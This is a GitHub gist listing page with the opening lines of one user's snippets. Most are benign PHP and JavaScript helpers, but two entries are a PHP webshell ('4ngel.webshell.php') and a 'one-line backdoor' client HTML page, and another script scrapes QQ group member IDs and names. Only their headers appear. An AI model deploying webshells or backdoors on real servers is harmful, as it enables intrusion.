Skip to content

Instantly share code, notes, and snippets.

View phoenixg's full-sized avatar
😘
Fall in love

Phx phoenixg

😘
Fall in love
  • Shanghai, China
View GitHub Profile
@phoenixg
phoenixg / classify.php
Created March 18, 2013 06:34
数组排序吗?
<?php
class Classify {
public $idKey = '';
public $parentIdKey = '';
/**
*
* @param string $formatStr
*/
public function __construct() {
<?php
// http://www.paulund.co.uk/encode-email-with-php
/**
* Encode an email address to display on your website
*/
function encode_email_address( $email ) {
$output = '';
for ($i = 0; $i < strlen($email); $i++)
{
@phoenixg
phoenixg / header_http_status_codes.php
Created April 6, 2013 14:02
PHP header() for sending HTTP status codes
<?php
/*
参考自:
http://darklaunch.com/2010/09/01/http-status-codes-in-php-http-header-response-code-function
http://snipplr.com/view/68099/
*/
function HTTPStatus($num) {
$http = array(
@phoenixg
phoenixg / callback.php
Created April 10, 2013 14:04
原作者称:QQ的账号登录及api操作,使用oauth 2.0。官方提供的sdk都太过庞大,这是我自己简化的,提供简单的账号登录、获取个人信息、发布分享等功能,如果需要其他功能可以根据官方的api文档自行添加。
<?php
//授权回调页面,即配置文件中的$callback_url
session_start();
require_once('config.php');
require_once('qq.php');
if(isset($_GET['code']) && trim($_GET['code'])!=''){
$qq=new qqPHP($qq_k, $qq_s);
$result=$qq->access_token($callback_url, $_GET['code']);
}
@phoenixg
phoenixg / Fibonacci.php
Created May 9, 2013 09:55
用PHP迭代器来实现一个斐波纳契数列
<?php
// 用PHP迭代器来实现一个斐波纳契数列
// 转载自: http://www.nowamagic.net/librarys/veda/detail/2164
class Fibonacci implements Iterator {
private $previous = 1;
private $current = 0;
private $key = 0;
public function current() {
return $this->current;
@phoenixg
phoenixg / 4ngel.webshell.php
Created September 7, 2013 13:12
php渗透
<?php
// 转载自: http://blog.csdn.net/mypc2010/article/details/7771592
/*****************************************************************************
===================== 请误用于非法用途,造成一切后果与本人无关。====================
发布此版本是为了纪念安全天使曾经的辉煌。
感谢你们与我一同走过:Sniper\Super·Hei\kEvin1986\saiy\wofeiwo。
感谢所有的朋友们、兄弟们。多谢你们的关心和支持!
选择在1月7日发布是为了纪念我老婆的生日,预祝我在本命年里。咸鱼翻身!
====================== 最后预祝安全天使的每一位朋友飞黄腾达 =======================
Codz by angel(4ngel)
@phoenixg
phoenixg / lanker.backdoor.html
Created September 7, 2013 13:37
lanker一句话后门客户端3.0
<HTML><HEAD>
<!-- codz by LANKER(QQ:18779569) 2005/1/1-->
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<style>
<!--
td {font-size:8pt; color: #666666;font-family:Verdana}
INPUT {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
textarea {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
select {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
#!/bin/bash
if [ $(id -u) != "0" ]; then
printf "Error: You must be root to run this tool!\n"
exit 1
fi
clear
printf "
####################################################
# #
@phoenixg
phoenixg / ilovewujiamin.v1.js
Created October 8, 2013 05:30
authored by justjavac
([]+[])[ ([][(![ ]
+[])[+[ ]]+([![ ]]+[][ []])[+
!+[]+[+ []]]+(! []+[]) [!+[]+!+[
]]+(!![ ]+[])[+ []]+(! ![]+[])[
!+[]+!+ []+!+[] ]+(!![ ]+[])[+!
+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+
@phoenixg
phoenixg / getAddressList_QQ.js
Last active July 1, 2019 10:50 — forked from justjavac/getAddressList_QQ.js
获取QQ群成员QQ号和昵称列表
var ids = document.querySelectorAll(".member_id");
var names = document.querySelectorAll(".member_name");
var output = "", length = ids.length;
for(var i=0; i<length; i++){
output += ids[i].innerHTML.slice(1,-1) + ":" + names[i].innerHTML + "\n";
}
console.log(output);